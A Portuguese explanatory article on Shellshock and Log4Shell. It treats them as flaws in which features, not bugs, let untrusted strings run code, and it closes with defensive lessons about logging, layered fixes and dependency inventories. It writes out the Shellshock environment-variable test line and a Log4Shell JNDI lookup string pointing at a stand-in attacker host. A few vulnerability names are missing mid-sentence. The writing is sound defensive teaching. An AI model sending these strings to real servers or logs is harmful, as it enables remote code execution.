O formato

A maior parte das vulnerabilidades deste catálogo são erros: um estouro de buffer, uma verificação que falta, uma máquina de estados que aceita uma mensagem duas vezes. Este artigo é sobre uma classe diferente e mais desconfortável, em que nada está quebrado. Um componente recebe uma cadeia de caracteres, a interpreta como foi projetado para interpretar, e a interpretação é execução de código - porque a cadeia veio de alguém que o projetista nunca imaginou.

Dois deles são os exemplos canônicos, com sete anos de diferença, e valem ser lidos juntos porque o formato é idêntico.

Shellshock, 2014

O bash tem um recurso para passar funções de shell a processos filhos: ele as codifica em variáveis de ambiente, e um bash filho lê a variável e define a função. Razoável, documentado, usado.

O defeito era que o bash não parava no fim da definição da função. Qualquer coisa escrita depois também era interpretada e executada. Escrita por extenso, a vulnerabilidade inteira cabe numa linha:

env='() { :;}; echo VULNERAVEL' bash -c ':'

A primeira parte é uma função vazia e válida. O ponto e vírgula a encerra. Tudo depois roda.

Por si só isso seria uma curiosidade, porque definir uma variável de ambiente em geral exige já estar na máquina. O que fez daquilo uma catástrofe é a outra ponta. Servidores web que rodam scripts CGI (Common Gateway Interface) passam os cabeçalhos da requisição HTTP ao programa como variáveis de ambiente. O User-Agent que um navegador manda vira variável de ambiente, e se o programa for um script de shell, o bash o lê. Um atacante remoto e não autenticado podia, portanto, rodar comandos num servidor web escolhendo o que pôr num cabeçalho. O mesmo mecanismo alcançava o recurso de comando forçado do OpenSSH, clientes e servidores de correio.

Stéphane Chazelas o reportou ao mantenedor do bash em 12 de setembro de 2014, e foi publicado no dia 24 como -2014-6271, quando as correções estavam prontas. A análise do código sugeriu que o comportamento estava no bash desde por volta de 1992. Vinte e dois anos, num dos programas mais implantados que existem, em código que milhares de pessoas tinham lido.

Cinco outros identificadores CVE vieram em dias, porque a primeira correção era incompleta.

Log4Shell, 2021

O Log4j é a biblioteca de registro que a maioria das aplicações Java usa. Em algum ponto da sua história ela ganhou um recurso de substituição: certos padrões dentro de uma cadeia registrada são resolvidos e substituídos. Uma das resoluções suportadas era o JNDI (Java Naming and Directory Interface) - que consegue buscar um objeto num serviço de diretório remoto - um servidor (Lightweight Directory Access Protocol), tipicamente - e, tendo buscado, carregá-lo.

Então um atacante manda uma cadeia:

${jndi:ldap://atacante.exemplo/a}

e só precisa que uma aplicação vulnerável a registre. Não processe, não confie, não valide - registre. A biblioteca vê o padrão, contata o servidor do atacante, baixa uma classe Java e a executa.

A razão de essa ter sido a vulnerabilidade de pior classificação em anos é o que as aplicações registram. Um login recusado. Uma requisição malformada. Um cabeçalho User-Agent. Um nome de usuário que falhou na validação. A única coisa que toda aplicação faz com entrada em que não confia é escrevê-la num log, na suposição de que registrar algo é inerte. Não é; e muito software registra entrada não confiável justamente porque ela pareceu suspeita.

Chen Zhaojun, da equipe de segurança da nuvem da Alibaba, o reportou à Apache Software Foundation em 24 de novembro de 2021; foi corrigido e tornado público em 9 de dezembro, recebeu a nota máxima de 10,0, e estava sendo explorado imediatamente. A redação da própria Fundação é precisa: nas versões até a 2.14.1, os recursos JNDI usados em configuração, mensagens de log e parâmetros não protegiam contra endpoints controlados pelo atacante, e quem pudesse controlar mensagens de log podia executar código carregado de um servidor remoto.

E então a cadeia de correções, que é uma lição por si só. A versão 2.15.0 só corrigiu parcialmente. A 2.16.0 corrigiu o que a 2.15.0 deixou passar e desligou a resolução por padrão, mas introduziu uma falha de negação de serviço. Só na 2.17.1 aquilo assentou. Quem corrigiu uma vez e seguiu adiante continuava exposto - o mesmo padrão que os avisos subsequentes da Ivanti mostram, em que uma segunda e uma terceira falha indicaram que o fabricante ainda não entendia a própria superfície de ataque.

Por que esta classe é diferente

Fuzzing não acha. O modo padrão de caçar erros de memória é jogar entrada malformada num programa e observar se ele trava. Nenhum dos dois trava. O bash interpreta a variável com sucesso. O Log4j resolve a substituição com sucesso. O software se comporta corretamente, e o comportamento correto é o exploit. O artigo sobre segurança de memória descreve a classe de erro em que as ferramentas automáticas são boas; esta é a classe a que elas são cegas.

Revisão de código também não acha de forma confiável, porque cada metade é defensável isoladamente. Exportar funções pelo ambiente é um recurso. Substituir valores em mensagens de log é um recurso. Passar cabeçalhos HTTP a programas CGI como variáveis de ambiente é uma especificação. A vulnerabilidade existe só na junção, e a junção em geral atravessa uma fronteira que ninguém possui - entre o shell e o servidor web, entre a aplicação e a biblioteca com que ela registra.

E é um problema de cadeia de suprimento por construção. Quase ninguém que estava exposto ao tinha ouvido falar do recurso de resolução, porque quase ninguém escolheu o Log4j diretamente; ele chegou como dependência de uma dependência. A pergunta "nós usamos Log4j" se revelou, para a maioria das organizações, genuinamente difícil de responder em dezembro de 2021, e essa dificuldade é a razão de as listas de materiais de software deixarem de ser exercício de conformidade e virarem exercício operacional.

O tema recorrente

Este catálogo chega sempre ao mesmo lugar por caminhos diferentes. O Melissa não explorou vulnerabilidade nenhuma: macros do Word rodando automaticamente e o Outlook ser roteirizável eram funcionalidades. O Mirai não explorou vulnerabilidade nenhuma: fez login com credenciais de fábrica. e Log4Shell são a mesma observação aplicada a bibliotecas em vez de produtos.

A conclusão desconfortável é que as falhas mais danosas frequentemente não são erros, e portanto não são alcançáveis pelas atividades que acham erros. São consequência de uma capacidade encontrando uma entrada para a qual nunca foi dimensionada, e a defesa não é código melhor, e sim capacidade mais estreita: recursos desligados por padrão, interpretação desabilitada a menos que seja pedida, e uma resposta clara para a pergunta de o que, exatamente, tem permissão de interpretar uma cadeia vinda de fora.

O que um profissional deve tirar disso

Saiba o que interpreta. Para qualquer componente que trate entrada externa, pergunte o que ele faz com o conteúdo, e não com o tamanho. Um registrador de logs, um motor de modelos, um nome de arquivo, um interpretador de configuração e uma consulta de busca são todos interpretadores, e cada um é candidato a essa falha.

Trate o log como superfície de ataque. É o caminho de dados menos suspeitado da maioria dos sistemas e toca os dados menos confiáveis. Qualquer coisa que expanda, resolva ou renderize um valor registrado é risco, e o log estruturado, que armazena valores em vez de interpolá-los, remove a maior parte do perigo.

Suponha que a primeira correção não é a última. Os dois casos precisaram de várias. Quando um aviso é dessa gravidade, o plano correto inclui reconferir a versão uma semana depois.

E mantenha a pergunta sobre dependências respondível de antemão. As organizações que lidaram bem com dezembro de 2021 não eram as que tinham produtos de segurança melhores; eram as que conseguiam produzir, numa tarde, a lista de toda aplicação que continha uma dada biblioteca. Isso é um problema de inventário, e é solúvel antes da emergência, não durante.

Fontes